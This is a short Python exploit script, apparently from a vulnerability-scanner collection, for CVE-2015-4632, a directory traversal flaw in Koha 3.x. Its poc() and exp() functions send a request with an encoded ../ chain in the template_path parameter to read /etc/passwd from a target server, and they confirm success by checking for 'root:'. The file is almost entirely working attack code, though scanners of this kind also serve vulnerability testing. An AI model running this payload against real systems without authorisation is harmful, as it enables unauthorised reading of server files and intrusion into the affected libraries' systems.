CVE-2015-4632.py

import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Koha 3.20.1 - Directory Traversal''',
        "description": '''Multiple directory traversal vulnerabilities in Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.''',
        "severity": "high",
        "references": [
            "https://www.exploit-db.com/exploits/37388",
            "https://www.cvedetails.com/cve/CVE-2015-4632"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "cvss-score": "7.5",
            "cve-id": "CVE-2015-4632",
            "cwe-id": "CWE-22"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2015", "lfi"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)
        path = '/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'

        resp = requests.get(url+path, timeout=10, verify=False, allow_redirects=False)
        if resp.status_code == 200 and "root:" in resp.text:
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url